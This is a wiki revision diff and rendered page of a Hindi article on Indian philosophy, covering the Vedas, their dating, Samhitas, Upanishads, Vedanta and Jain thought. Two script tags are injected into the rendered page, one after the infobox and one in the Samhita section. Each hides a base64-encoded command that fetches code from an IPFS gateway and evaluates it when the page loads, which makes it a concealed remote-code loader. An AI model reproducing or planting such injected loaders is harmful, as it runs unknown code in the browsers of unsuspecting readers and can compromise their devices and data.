Difference between revisions of "भारतीय दर्शन"
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| − | |विवरण=भारतीय दर्शन का आरंभ वेदों से होता है। 'वेद' भारतीय धर्म, दर्शन, संस्कृति, साहित्य आदि सभी के मूल स्त्रोत हैं। आज भी धार्मिक और सांस्कृतिक कृत्यों के अवसर पर वेद-मंत्रों का गायन होता है। अनेक दर्शन-संप्रदाय वेदों को अपना आधार और प्रमाण मानते हैं। | + | |विवरण='भारतीय दर्शन' का आरंभ वेदों से होता है। '[[वेद]]' भारतीय धर्म, दर्शन, [[भारत की संस्कृति|संस्कृति]], [[भारतीय साहित्य|साहित्य]] आदि सभी के मूल स्त्रोत हैं। आज भी धार्मिक और सांस्कृतिक कृत्यों के अवसर पर वेद-मंत्रों का गायन होता है। अनेक दर्शन-संप्रदाय वेदों को अपना आधार और प्रमाण मानते हैं। |
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| − | |संबंधित लेख=[[उपनिषद]], [[वेद]], [[उत्तर मीमांसा]], [[पूर्व मीमांसा]], [[ऋग्वेद]], [[सामवेद]], [[अथर्ववेद]], [[यजुर्वेद]] | + | |संबंधित लेख=[[उपनिषद]], [[वेद]], [[उत्तर मीमांसा]], [[पूर्व मीमांसा]], [[ऋग्वेद]], [[सामवेद]], [[अथर्ववेद]], [[यजुर्वेद]]। |
| − | |अन्य जानकारी= | + | |अन्य जानकारी=वेदों का रचना काल बहुत विवादग्रस्त है। प्राय: पश्चिमी विद्वानों ने [[ऋग्वेद]] का रचना काल 1500 ई. पू. से लेकर 2500 ई. पू. तक माना है। इसके विपरीत भारतीय विद्वान ज्योतिष आदि के प्रमाणों द्वारा ऋग्वेद का समय 3000 ई. पू. से लेकर 7500 [[वर्ष]] ई. पू. तक मानते हैं। |
| − | वेदों का रचना काल बहुत विवादग्रस्त है। प्राय: पश्चिमी विद्वानों ने [[ऋग्वेद]] का रचना काल 1500 ई.पू. से लेकर 2500 ई.पू. तक माना है। इसके विपरीत भारतीय विद्वान ज्योतिष आदि के प्रमाणों द्वारा ऋग्वेद का समय 3000 ई.पू. से लेकर 7500 वर्ष ई.पू. तक मानते हैं। | ||
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| − | '''भारतीय दर्शन''' भारतीय दर्शन का आरंभ वेदों से होता है। '[[वेद]]' [[धर्म|भारतीय धर्म]], | + | '''भारतीय दर्शन''' भारतीय दर्शन का आरंभ वेदों से होता है। '[[वेद]]' [[धर्म|भारतीय धर्म]], दर्शन, [[भारत की संस्कृति|संस्कृति]], [[भारतीय साहित्य|साहित्य]] आदि सभी के मूल स्त्रोत हैं। अनेक दर्शन-संप्रदाय वेदों को अपना आधार और प्रमाण मानते हैं। प्राचीन काल में इतने विशाल और समृद्ध साहित्य के विकास में हज़ारों वर्ष लगे होंगे, इसमें कोई संदेह नहीं। उपलब्ध [[वैदिक साहित्य]] संपूर्ण वैदिक साहित्य का एक छोटा-सा अंश है। वैदिक साहित्य का विकास चार चरणों में हुआ है। ये '[[संहिता]]', '[[ब्राह्मण साहित्य|ब्राह्मण]]', '[[आरण्यक]]' और '[[उपनिषद]]' हैं।<ref name="nn">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4%E0%A5%80%E0%A4%AF_%E0%A4%A6%E0%A4%B0%E0%A5%8D%E0%A4%B6%E0%A4%A8|title=भारतीय दर्शन|accessmonthday=19 सितम्बर|accessyear=2015|last= |first= |authorlink= |format= |publisher=भारतखोज|language=हिन्दी}}</ref> |
| − | + | ==मूल स्त्रोत== | |
| − | == | + | '[[वेद]]' भारतीय धर्म, दर्शन, संस्कृति, साहित्य आदि सभी के मूल स्त्रोत हैं। आधुनिक अर्थ में वेदों को हम दर्शन के ग्रंथ नहीं कह सकते। वे प्राचीन भारतवासियों के संगीतमय काव्य के संकलन है। उनमें उस समय के भारतीय जीवन के अनेक विषयों का समावेश है। वेदों के इन गीतों में अनेक प्रकार के दार्शनिक विचार भी मिलते हैं। चिंतन के इन्हीं बीजों से उत्तरकालीन दर्शनों की वनराजियाँ विकसित हुई हैं। अधिकांश भारतीय दर्शन वेदों को अपना आदि स्त्रोत मानते हैं। ये 'आस्तिक दर्शन' कहलाते हैं। प्रसिद्ध 'षड्दर्शन' इन्हीं के अंतर्गत हैं। जो दर्शन संप्रदाय अपने को वैदिक परंपरा से स्वतंत्र मानते हैं, वे भी कुछ सीमा तक वैदिक विचार धाराओं से प्रभावित हैं। |
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| − | वेदों के इन गीतों में अनेक प्रकार के दार्शनिक विचार भी मिलते हैं। चिंतन के इन्हीं बीजों से उत्तरकालीन दर्शनों की वनराजियाँ विकसित हुई हैं। अधिकांश भारतीय दर्शन वेदों को अपना आदि स्त्रोत मानते हैं। ये 'आस्तिक दर्शन' कहलाते हैं। प्रसिद्ध षड्दर्शन इन्हीं के अंतर्गत हैं। जो दर्शन संप्रदाय अपने को वैदिक परंपरा से स्वतंत्र मानते हैं, वे भी कुछ सीमा तक वैदिक विचार धाराओं से प्रभावित हैं। | ||
==रचना काल == | ==रचना काल == | ||
| − | वेदों का रचना काल बहुत विवादग्रस्त है। प्राय: पश्चिमी विद्वानों ने [[ऋग्वेद]] का रचना काल 1500 ई.पू. से लेकर 2500 ई.पू. तक माना है। इसके विपरीत भारतीय विद्वान ज्योतिष आदि के प्रमाणों द्वारा ऋग्वेद का समय 3000 ई.पू. से लेकर 7500 वर्ष ई.पू. तक मानते हैं। [[इतिहास]] की विदित गतियों के आधार पर इन प्राचीन रचनाओं के समय का अनुमान करना कठिन है। प्राचीन काल में इतने विशाल और समृद्ध साहित्य के विकास में | + | वेदों का रचना काल बहुत विवादग्रस्त है। प्राय: पश्चिमी विद्वानों ने [[ऋग्वेद]] का रचना काल 1500 ई. पू. से लेकर 2500 ई. पू. तक माना है। इसके विपरीत भारतीय विद्वान ज्योतिष आदि के प्रमाणों द्वारा ऋग्वेद का समय 3000 ई. पू. से लेकर 7500 वर्ष ई. पू. तक मानते हैं। [[इतिहास]] की विदित गतियों के आधार पर इन प्राचीन रचनाओं के समय का अनुमान करना कठिन है। प्राचीन काल में इतने विशाल और समृद्ध साहित्य के विकास में हज़ारों वर्ष लगे होंगे, इसमें कोई संदेह नहीं है । उपलब्ध वैदिक साहित्य संपूर्ण वैदिक साहित्य का एक छोटा-सा अंश है। प्राचीन युग में रचित समस्त साहित्य संकलित भी नहीं हो सका होगा और संकलित साहित्य का बहुत-सा भाग आक्रमणकारियों ने नष्ट कर दिया होगा। वास्तविक वैदिक साहित्य का विस्तार इतना अधिक था कि उसके रचना काल की कल्पना करना कठिन है। निस्संदेह वह बहुत प्राचीन रहा होगा। |
| − | ==वैदिक साहित्य का विकास == | + | ===='वेद' एक संपूर्ण साहित्य==== |
| − | वैदिक साहित्य का विकास चार चरणों में हुआ है। ये | + | वेदों के संबंध में यह स्पष्ट करना आवश्यक है कि [[कुरान]] और [[बाइबिल]] की भाँति '[[वेद]]' किसी एक [[ग्रंथ]] का नाम नहीं है और न वे किसी एक मनुष्य की रचनाएँ हैं। 'वेद' एक संपूर्ण साहित्य है, जिसकी विशाल परंपरा है और जिसमें अनेक ग्रंथ सम्मिलित हैं। धार्मिक परंपरा में वेदों को नित्य, अपौरुषेय और ईश्वरीय माना जाता है। ऐतिहासिक दृष्टिकोण से हम उन्हें ऋषियों की रचना मान सकते हैं। वेद मंत्रों के रचने वाले ऋषि अनेक हैं।<ref name="nn"/> |
| + | ==वैदिक साहित्य का विकास== | ||
| + | वैदिक साहित्य का विकास चार चरणों में हुआ है। ये निम्नलिखित हैं- | ||
#[[संहिता]] | #[[संहिता]] | ||
#[[ब्राह्मण ग्रन्थ|ब्राह्मण]] | #[[ब्राह्मण ग्रन्थ|ब्राह्मण]] | ||
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#[[उपनिषद]] | #[[उपनिषद]] | ||
==संहिता== | ==संहिता== | ||
| − | मंत्रों और स्तुतियों के संग्रह को 'संहिता' कहते हैं। | + | {{main|संहिता}} |
| − | + | [[मंत्र|मंत्रों]] और स्तुतियों के संग्रह को 'संहिता' कहते हैं। [[ऋग्वेद]], [[यजुर्वेद]], [[सामवेद]] तथा [[अथर्ववेद]], ये सभी मंत्रों की संहिताएँ ही हैं। इनकी भी अनेक शाखाएँ हैं। इन संहिताओं के मंत्र [[यज्ञ]] के अवसर पर [[देवता|देवताओं]] की स्तुति के लिए गाए जाते थे। आज भी धार्मिक और सांस्कृतिक कृत्यों के अवसर पर इनका गायन होता है। इन वेदमंत्रों में [[इंद्र]], [[अग्नि देव|अग्नि]], [[वरुण देवता|वरुण]], [[सूर्य देव|सूर्य]], [[सोम देव|सोम]], [[उषा]] आदि देवताओं की संगीतमय स्तुतियाँ सुरक्षित हैं। यज्ञ और देवोपासना ही वैदिक धर्म का मूल रूप था। वेदों की भावना उत्तरकालीन [[दर्शन|दर्शनों]] के समान संन्यासप्रधन नहीं है। वेदमंत्रों में जीवन के प्रति आस्था तथा जीवन का उल्लास ओत प्रोत है। जगत की असत्यता का वेदमंत्रों में आभास नहीं है। [[ऋग्वेद]] में मौलिक मूल्यों का पर्याप्त मान है। वैदिक ऋषि देवताओं से अन्न, धन, संतान, स्वास्थ्य, दीर्घायु, विजय आदि की अभ्यर्थना करते हैं। | |
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| − | ये सभी मंत्रों की संहिताएँ ही हैं। इनकी भी अनेक शाखाएँ हैं। इन संहिताओं के मंत्र यज्ञ के अवसर पर देवताओं की स्तुति के लिए गाए जाते थे। आज भी धार्मिक और सांस्कृतिक कृत्यों के अवसर पर इनका गायन होता है। इन वेदमंत्रों में [[इंद्र]], [[अग्नि]], [[वरुण]], [[सूर्य]], सोम, [[उषा]] आदि | ||
| − | वेदों के मंत्र प्राचीन भारतीयों के संगीतमय लोककाव्य के उत्तम उदाहरण हैं। [[ब्राह्मण]], [[आरण्यक]] और [[उपनिषद]] ग्रंथों में गद्य की प्रधानता है, यद्यपि उनका यह गद्य भी लययुक्त है। ब्राह्मण ग्रंथों में यज्ञों की विधि, उनके प्रयोजन, फल आदि का विवेचन है। आरण्यक ग्रंथों में आध्यात्मिकता की ओर झुकाव दिखाई देता है। जैसा कि इस नाम से ही विदित होता है, ये वानप्रस्थों के उपयोग के ग्रंथ हैं। उपनिषदों में आध्यात्मिक चिंतन की प्रधानता है। चारों वेदों की मंत्र संहिताओं के ब्राह्मण, आरण्यक और उपनिषद अलग-अलग मिलते हैं। शतपथ, तांडय आदि ब्राह्मण प्रसिद्ध और महत्वपूर्ण हैं। ऐतरेय, तैत्तिरीय आदि के नाम से आरण्यक और उपनिषद दोनों मिलते हैं। इनके अतिरिक्त [[ईश]], केन, कठ, प्रश्न, मुंडक, मांडूक्य आदि प्राचीन उपनिषद भारतीय चिंतन के आदि स्त्रोत हैं। | + | वेदों के मंत्र प्राचीन भारतीयों के संगीतमय लोककाव्य के उत्तम उदाहरण हैं। [[ब्राह्मण ग्रंथ|ब्राह्मण]], [[आरण्यक]] और [[उपनिषद]] ग्रंथों में गद्य की प्रधानता है, यद्यपि उनका यह गद्य भी लययुक्त है। ब्राह्मण ग्रंथों में यज्ञों की विधि, उनके प्रयोजन, फल आदि का विवेचन है। आरण्यक ग्रंथों में आध्यात्मिकता की ओर झुकाव दिखाई देता है। जैसा कि इस नाम से ही विदित होता है, ये वानप्रस्थों के उपयोग के ग्रंथ हैं। उपनिषदों में आध्यात्मिक चिंतन की प्रधानता है। चारों वेदों की मंत्र संहिताओं के ब्राह्मण, आरण्यक और उपनिषद अलग-अलग मिलते हैं। [[शतपथ ब्राह्मण|शतपथ]], तांडय आदि ब्राह्मण प्रसिद्ध और महत्वपूर्ण हैं। [[ऐतरेय ब्राह्मण|ऐतरेय]], [[तैत्तिरीय ब्राह्मण|तैत्तिरीय]] आदि के नाम से आरण्यक और उपनिषद दोनों मिलते हैं। इनके अतिरिक्त [[ईश]], केन, [[कठोपनिषद|कठ]], प्रश्न, [[मुंडकोपनिषद्|मुंडक]], [[मांडूक्योपनिषद|मांडूक्य]] आदि प्राचीन उपनिषद भारतीय चिंतन के आदि स्त्रोत हैं। |
==उपनिषद== | ==उपनिषद== | ||
| + | {{main|उपनिषद}} | ||
[[चित्र:Isa-Upanishad.gif|250px|thumb|हस्तलिखित ग्रंथ, ईशावास्योपनिषद]] | [[चित्र:Isa-Upanishad.gif|250px|thumb|हस्तलिखित ग्रंथ, ईशावास्योपनिषद]] | ||
| − | + | उपनिषदों का दर्शन आध्यात्मिक है। ब्रह्म की साधना ही उपनिषदों का मुख्य लक्ष्य है। ब्रह्म को आत्मा भी कहते हैं। 'आत्मा' विषयजगत, शरीर, इंद्रियों, मन, बुद्धि आदि सभी अवगम्य तत्वों से परे एक अनिर्वचनीय और अतींद्रिय तत्व है, जो चित्स्वरूप, अनंत और आनंदमय है। सभी परिच्छेदों से परे होने के कारण वह अनंत है। अपरिच्छन्न और एक होने के कारण आत्मा भेद मूलक जगत में मनुष्यों के बीच आंतरिक अभेद और अद्वैत का आधार बन सकता है। [[आत्मा]] ही मनुष्य का वास्तविक स्वरूप है। उसका साक्षात्कार करके मनुष्य मन के समस्त बंधनों से मुक्त हो जाता है। अद्वैतभाव की पूर्णता के लिए आत्मा अथवा ब्रह्म से जड़ जगत की उत्पत्ति कैसे होती है, इसकी व्याख्या के लिए माया की अनिर्वचनीय शक्ति की कल्पना की गई है। किंतु सृष्टिवाद की अपेक्षा आत्मिक अद्वैतभाव उपनिषदों के वेदांत का अधिक महत्वपूर्ण पक्ष है। यही अद्वैतभाव [[भारतीय संस्कृति]] में ओतप्रोत है। | |
| − | उपनिषदों का दर्शन आध्यात्मिक है। ब्रह्म की साधना ही उपनिषदों का मुख्य लक्ष्य है। ब्रह्म को आत्मा भी कहते हैं। 'आत्मा' विषयजगत, शरीर, इंद्रियों, मन, बुद्धि आदि सभी अवगम्य तत्वों से परे एक अनिर्वचनीय और अतींद्रिय तत्व है, जो चित्स्वरूप, अनंत और आनंदमय है। सभी परिच्छेदों से परे होने के कारण वह अनंत है। अपरिच्छन्न और एक होने के कारण आत्मा भेद मूलक जगत में मनुष्यों के बीच आंतरिक अभेद और अद्वैत का आधार बन सकता है। आत्मा ही मनुष्य का वास्तविक स्वरूप है। उसका साक्षात्कार करके मनुष्य मन के समस्त बंधनों से मुक्त हो जाता है। अद्वैतभाव की पूर्णता के लिए आत्मा अथवा ब्रह्म से जड़ जगत की उत्पत्ति कैसे होती है, इसकी व्याख्या के लिए माया की अनिर्वचनीय शक्ति की कल्पना की गई है। किंतु सृष्टिवाद की अपेक्षा आत्मिक अद्वैतभाव उपनिषदों के वेदांत का अधिक महत्वपूर्ण पक्ष है। यही अद्वैतभाव भारतीय संस्कृति में ओतप्रोत है। | + | ==वेदांत== |
| − | ====वेदांत | + | {{main|वेदांत}} |
| − | दर्शन के क्षेत्र में उपनिषदों का यह ब्रह्मवाद शंकराचार्य, रामानुजाचार्य आदि के उत्तरकालीन वेदांत मतों का आधार बना। वेदों का अंतिम भाग होने के कारण उपनिषदों को 'वेदांत' भी कहते हैं। उपनिषदों का अभिमत ही आगे चलकर वेदांत का सिद्धांत और संप्रदायों का आधार बन गया। उपनिषदों की शैली सरल और गंभीर है। अनुभव के गंभीर तत्व अत्यंत सरल भाषा में उपनिषदों में व्यक्त हुए हैं। उनको समझने के लिए अनुभव का प्रकाश अपेक्षित है। ब्रह्म का अनुभव ही उपनिषदों का लक्ष्य है। वह अपनी साधना से ही प्राप्त होता है। गुरु का संपर्क उसमें अधिक सहायक होता है। तप, आचार आदि साधना की भूमिका बनाते हैं। कर्म आत्मिक अनुभव का साधक नहीं है। कर्म प्रधान वैदिक धर्म से उपनिषदों का यह मतभेद है। संन्यास, वैराग्य, [[योग]], तप, त्याग आदि को उपनिषदों में बहुत महत्व दिया गया है। इनमें श्रमण परंपरा के कठोर संन्यासवाद की प्रेरणा का स्रोत दिखाई देता है। तपोवादी जैन और बौद्ध मत तथा गीता का कर्मयोग उपनिषदों की आध्यात्मिक भूमि में ही अंकुरित हुए हैं।<ref name="nn"/> | + | दर्शन के क्षेत्र में उपनिषदों का यह ब्रह्मवाद [[शंकराचार्य]], [[रामानुजाचार्य]] आदि के उत्तरकालीन वेदांत मतों का आधार बना। वेदों का अंतिम भाग होने के कारण उपनिषदों को 'वेदांत' भी कहते हैं। उपनिषदों का अभिमत ही आगे चलकर वेदांत का सिद्धांत और संप्रदायों का आधार बन गया। उपनिषदों की शैली सरल और गंभीर है। अनुभव के गंभीर तत्व अत्यंत सरल [[भाषा]] में उपनिषदों में व्यक्त हुए हैं। उनको समझने के लिए अनुभव का प्रकाश अपेक्षित है। ब्रह्म का अनुभव ही उपनिषदों का लक्ष्य है। वह अपनी साधना से ही प्राप्त होता है। गुरु का संपर्क उसमें अधिक सहायक होता है। तप, आचार आदि साधना की भूमिका बनाते हैं। कर्म आत्मिक अनुभव का साधक नहीं है। कर्म प्रधान वैदिक धर्म से उपनिषदों का यह मतभेद है। संन्यास, वैराग्य, [[योग]], तप, त्याग आदि को उपनिषदों में बहुत महत्व दिया गया है। इनमें श्रमण परंपरा के कठोर संन्यासवाद की प्रेरणा का स्रोत दिखाई देता है। तपोवादी [[जैन धर्म|जैन]] और [[बौद्ध धर्म|बौद्ध मत]] तथा 'गीता का कर्मयोग' उपनिषदों की आध्यात्मिक भूमि में ही अंकुरित हुए हैं।<ref name="nn"/> |
| − | == | + | ==नास्तिक दर्शन== |
| − | उपनिषदों के अध्यात्मवाद तथा तपोवाद में ही वैदिक कर्मकांड के विरुद्ध एक प्रतिक्रिया ने एक प्रकट क्रांति का रूप ग्रहण कर लिया। जैन धर्म का आरंभ बौद्ध धर्म से पहले हुआ था। महावीर स्वामी के पूर्व 23 जैन | + | उपनिषदों के '[[अध्यात्मवाद]]' तथा 'तपोवाद' में ही वैदिक कर्मकांड के विरुद्ध एक प्रतिक्रिया ने एक प्रकट क्रांति का रूप ग्रहण कर लिया। जैन धर्म का आरंभ बौद्ध धर्म से पहले हुआ था। [[महावीर स्वामी]] के पूर्व 23 [[तीर्थंकर|जैन तीर्थंकर]] हो चुके थे। महावीर स्वमी ने जैन धर्म का प्रचार किया। [[बौद्ध धर्म]] के प्रवर्तक [[गौतम बुद्ध]] उनके समकालीन थे। दोनों का समय ईसा पूर्व छठी [[शताब्दी]] माना जाता है। इन्होंने वेदों से स्वतंत्र एक नवीन धार्मिक परंपरा का प्रवर्तन किया। वेदों को न मानने के कारण जैन और [[बौद्ध दर्शन|बौद्ध दर्शनों]] को 'नास्तिक दर्शन' भी कहते हैं। इनका मौलिक साहित्य क्रमश: [[महावीर]] और [[बुद्ध]] के उपदेशों के रूप मे है, जो क्रमश: [[प्राकृत भाषा|प्राकृत]] और [[पालि भाषा|पालि]] की लोकभाषाओं में मिलता है तथा जिसका संग्रह इन महापुरुषों के निर्वाण के बाद कई संगीतियों में उनके अनुयायियों के परामर्श के द्वारा हुआ। बुद्ध और महावीर दोनों [[हिमालय|हिमालय प्रदेश]] के राजकुमार थे। युवावय में ही संन्यास लेकर उन्होने अपने धर्मो का उपदेश और प्रचार किया। उनका यह सन्यास उपनिषदों की परंपरा से प्रेरित है। जैन और बौद्ध धर्मों में तप और त्याग की महिमा भी उपनिषदों के दशर्न के अनुकूल है। अहिंसा और आचार की महत्ता तथा जातिभेद का खंडन इन धर्मों की विशेषता है। अहिंसा के बीज भी उपनिषदों में विद्यमान हैं। फिर भी अहिंसा की ध्वजा को धर्म के आकाश में फहराने का श्रेय जैन और बौद्ध संप्रदायों को देना होगा। |
| − | + | ====महावीर स्वामी के उपदेश==== | |
| − | [[बौद्ध धर्म]] के प्रवर्तक [[गौतम बुद्ध]] उनके समकालीन थे। दोनों का समय ईसा पूर्व छठी शताब्दी माना जाता है। इन्होंने वेदों से स्वतंत्र एक नवीन धार्मिक परंपरा का प्रवर्तन किया। वेदों को न मानने के कारण जैन और [[बौद्ध दर्शन|बौद्ध दर्शनों]] को 'नास्तिक दर्शन' भी कहते हैं। इनका मौलिक साहित्य क्रमश: [[महावीर]] और [[बुद्ध]] के उपदेशों के रूप मे है, जो क्रमश: प्राकृत और पालि की लोकभाषाओं में मिलता है तथा जिसका संग्रह इन महापुरुषों के निर्वाण के बाद कई संगीतियों में उनके अनुयायियों के परामर्श के द्वारा हुआ। बुद्ध और महावीर दोनों हिमालय प्रदेश के राजकुमार थे। युवावय में ही संन्यास लेकर उन्होने अपने धर्मो का उपदेश और प्रचार किया। उनका यह सन्यास उपनिषदों की परंपरा से प्रेरित है। जैन और बौद्ध धर्मों में तप और त्याग की महिमा भी उपनिषदों के दशर्न के अनुकूल है। अहिंसा और आचार की महत्ता तथा जातिभेद का खंडन इन धर्मों की विशेषता है। अहिंसा के बीज भी उपनिषदों में विद्यमान हैं। फिर भी अहिंसा की ध्वजा को धर्म के आकाश में फहराने का श्रेय जैन और बौद्ध संप्रदायों को देना होगा। | + | [[ चित्र:Mahavir-Bhagwan-Delhi-1.jpg|[[महावीर स्वामी|महावीर]] की प्रतिमा, [[दिल्ली]]|thumb|right|250px]] |
| − | ==महावीर स्वामी के उपदेश== | + | महावीर स्वामी के उपदेशों से लेकर [[जैन धर्म]] की परंपरा आज तक चल रही है। महावीर स्वामी के उपदेश 41 सूत्रों में संकलित हैं, जो [[आगम|जैनागमों]] में मिलते हैं। उमास्वाति का 'तत्वार्थाधिगम सूत्र' (300 ई.) जैन दर्शन का प्राचीन और प्रामाणिक शास्त्र है। [[सिद्धसेन|सिद्धसेन दिवाकर]] (500 ई.), [[हरिभद्र]] (900 ई.), [[मेरुतुंगाचार्य|मेरुतुंग]] (14वीं शताब्दी), आदि जैन दर्शन के प्रसिद्ध आचार्य हैं। सिद्धांत की दृष्टि से जैन दर्शन एक ओर अध्यात्मवादी तथा दूसरी ओर भौतिकवादी है। वह [[आत्मा]] और पुद्गल<ref>भौतिक तत्व</ref> दोनों को मानता है। जैन मत में आत्मा [[प्रकाश]] के समान व्यापक और विस्तारशील है। पुनर्जन्म में नवीन शरीर के अनुसार आत्मा का संकोच और विस्तार होता है। स्वरूप से वह चैतन्य स्वरूप और आनंदमय है। वह मन और इंद्रियों के माध्यम के बिना परोक्ष विषयों के ज्ञान में समर्थ है। इस अलौकिक ज्ञान के तीन रूप हैं- |
| − | [[ चित्र:Mahavir-Bhagwan-Delhi-1.jpg|महावीर की प्रतिमा, दिल्ली|thumb|right|250px]] | ||
| − | महावीर स्वामी के उपदेशों से लेकर जैन धर्म की परंपरा आज तक चल रही है। महावीर स्वामी के उपदेश 41 सूत्रों में संकलित हैं, जो जैनागमों में मिलते हैं। उमास्वाति का 'तत्वार्थाधिगम सूत्र' (300 ई.) जैन दर्शन का प्राचीन और प्रामाणिक शास्त्र है। सिद्धसेन दिवाकर (500 ई.), हरिभद्र (900 ई.), मेरुतुंग (14वीं शताब्दी), आदि जैन दर्शन के प्रसिद्ध आचार्य हैं। सिद्धांत की दृष्टि से जैन दर्शन एक ओर अध्यात्मवादी तथा | ||
#अवधिज्ञान | #अवधिज्ञान | ||
#मन:पर्याय | #मन:पर्याय | ||
#केवलज्ञान | #केवलज्ञान | ||
| − | पूर्ण ज्ञान को | + | पूर्ण ज्ञान को '[[कैवल्य ज्ञान]]' कहते हैं। यह निर्वाण की अवस्था में प्राप्त हाता है। यह सब प्रकार से वस्तुओं के समस्त धर्मों का ज्ञान है। यही ज्ञान 'प्रमाण' है। किसी अपेक्षा से वस्तु के एक धर्म का ज्ञान 'नय' कहलाता है। 'नय' कई प्रकार के होते हैं। ज्ञान की सापेक्षता जैन दर्शन का सिद्धांत है। यह सापेक्षता मानवीय विचारों में उदारता और सहिष्णुता को संभव बनाती है।<ref name="nn"/> |
{{seealso|महावीर स्वामी|महावीर जयन्ती|जैन धर्म}} | {{seealso|महावीर स्वामी|महावीर जयन्ती|जैन धर्म}} | ||
Revision as of 08:24, 23 September 2015
bharatiy darshan
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| vivaran | 'bharatiy darshan' ka aranbh vedoan se hota hai. 'ved' bharatiy dharm, darshan, sanskriti, sahity adi sabhi ke mool strot haian. aj bhi dharmik aur saanskritik krityoan ke avasar par ved-mantroan ka gayan hota hai. anek darshan-sanpraday vedoan ko apana adhar aur praman manate haian. |
| bhasha | sanskrit |
| sanbandhit lekh | upanishad, ved, uttar mimaansa, poorv mimaansa, rrigved, samaved, atharvaved, yajurved. |
| any janakari | vedoan ka rachana kal bahut vivadagrast hai. pray: pashchimi vidvanoan ne rrigved ka rachana kal 1500 ee. poo. se lekar 2500 ee. poo. tak mana hai. isake viparit bharatiy vidvan jyotish adi ke pramanoan dvara rrigved ka samay 3000 ee. poo. se lekar 7500 varsh ee. poo. tak manate haian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharatiy darshan bharatiy darshan ka aranbh vedoan se hota hai. 'ved' bharatiy dharm, darshan, sanskriti, sahity adi sabhi ke mool strot haian. anek darshan-sanpraday vedoan ko apana adhar aur praman manate haian. prachin kal mean itane vishal aur samriddh sahity ke vikas mean hazaroan varsh lage hoange, isamean koee sandeh nahian. upalabdh vaidik sahity sanpoorn vaidik sahity ka ek chhota-sa aansh hai. vaidik sahity ka vikas char charanoan mean hua hai. ye 'sanhita', 'brahman', 'aranyak' aur 'upanishad' haian.[1]
mool strot
'ved' bharatiy dharm, darshan, sanskriti, sahity adi sabhi ke mool strot haian. adhunik arth mean vedoan ko ham darshan ke granth nahian kah sakate. ve prachin bharatavasiyoan ke sangitamay kavy ke sankalan hai. unamean us samay ke bharatiy jivan ke anek vishayoan ka samavesh hai. vedoan ke in gitoan mean anek prakar ke darshanik vichar bhi milate haian. chiantan ke inhian bijoan se uttarakalin darshanoan ki vanarajiyaan vikasit huee haian. adhikaansh bharatiy darshan vedoan ko apana adi strot manate haian. ye 'astik darshan' kahalate haian. prasiddh 'shaddarshan' inhian ke aantargat haian. jo darshan sanpraday apane ko vaidik paranpara se svatantr manate haian, ve bhi kuchh sima tak vaidik vichar dharaoan se prabhavit haian.
rachana kal
vedoan ka rachana kal bahut vivadagrast hai. pray: pashchimi vidvanoan ne rrigved ka rachana kal 1500 ee. poo. se lekar 2500 ee. poo. tak mana hai. isake viparit bharatiy vidvan jyotish adi ke pramanoan dvara rrigved ka samay 3000 ee. poo. se lekar 7500 varsh ee. poo. tak manate haian. itihas ki vidit gatiyoan ke adhar par in prachin rachanaoan ke samay ka anuman karana kathin hai. prachin kal mean itane vishal aur samriddh sahity ke vikas mean hazaroan varsh lage hoange, isamean koee sandeh nahian hai . upalabdh vaidik sahity sanpoorn vaidik sahity ka ek chhota-sa aansh hai. prachin yug mean rachit samast sahity sankalit bhi nahian ho saka hoga aur sankalit sahity ka bahut-sa bhag akramanakariyoan ne nasht kar diya hoga. vastavik vaidik sahity ka vistar itana adhik tha ki usake rachana kal ki kalpana karana kathin hai. nissandeh vah bahut prachin raha hoga.
'ved' ek sanpoorn sahity
vedoan ke sanbandh mean yah spasht karana avashyak hai ki kuran aur baibil ki bhaanti 'ved' kisi ek granth ka nam nahian hai aur n ve kisi ek manushy ki rachanaean haian. 'ved' ek sanpoorn sahity hai, jisaki vishal paranpara hai aur jisamean anek granth sammilit haian. dharmik paranpara mean vedoan ko nity, apaurushey aur eeshvariy mana jata hai. aitihasik drishtikon se ham unhean rrishiyoan ki rachana man sakate haian. ved mantroan ke rachane vale rrishi anek haian.[1]
vaidik sahity ka vikas
vaidik sahity ka vikas char charanoan mean hua hai. ye nimnalikhit haian-
sanhita
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mantroan aur stutiyoan ke sangrah ko 'sanhita' kahate haian. rrigved, yajurved, samaved tatha atharvaved, ye sabhi mantroan ki sanhitaean hi haian. inaki bhi anek shakhaean haian. in sanhitaoan ke mantr yajn ke avasar par devataoan ki stuti ke lie gae jate the. aj bhi dharmik aur saanskritik krityoan ke avasar par inaka gayan hota hai. in vedamantroan mean iandr, agni, varun, soory, som, usha adi devataoan ki sangitamay stutiyaan surakshit haian. yajn aur devopasana hi vaidik dharm ka mool roop tha. vedoan ki bhavana uttarakalin darshanoan ke saman sannyasapradhan nahian hai. vedamantroan mean jivan ke prati astha tatha jivan ka ullas ot prot hai. jagat ki asatyata ka vedamantroan mean abhas nahian hai. rrigved mean maulik moolyoan ka paryapt man hai. vaidik rrishi devataoan se ann, dhan, santan, svasthy, dirghayu, vijay adi ki abhyarthana karate haian.
vedoan ke mantr prachin bharatiyoan ke sangitamay lokakavy ke uttam udaharan haian. brahman, aranyak aur upanishad granthoan mean gady ki pradhanata hai, yadyapi unaka yah gady bhi layayukt hai. brahman granthoan mean yajnoan ki vidhi, unake prayojan, phal adi ka vivechan hai. aranyak granthoan mean adhyatmikata ki or jhukav dikhaee deta hai. jaisa ki is nam se hi vidit hota hai, ye vanaprasthoan ke upayog ke granth haian. upanishadoan mean adhyatmik chiantan ki pradhanata hai. charoan vedoan ki mantr sanhitaoan ke brahman, aranyak aur upanishad alag-alag milate haian. shatapath, taanday adi brahman prasiddh aur mahatvapoorn haian. aitarey, taittiriy adi ke nam se aranyak aur upanishad donoan milate haian. inake atirikt eesh, ken, kath, prashn, muandak, maandooky adi prachin upanishad bharatiy chiantan ke adi strot haian.
upanishad
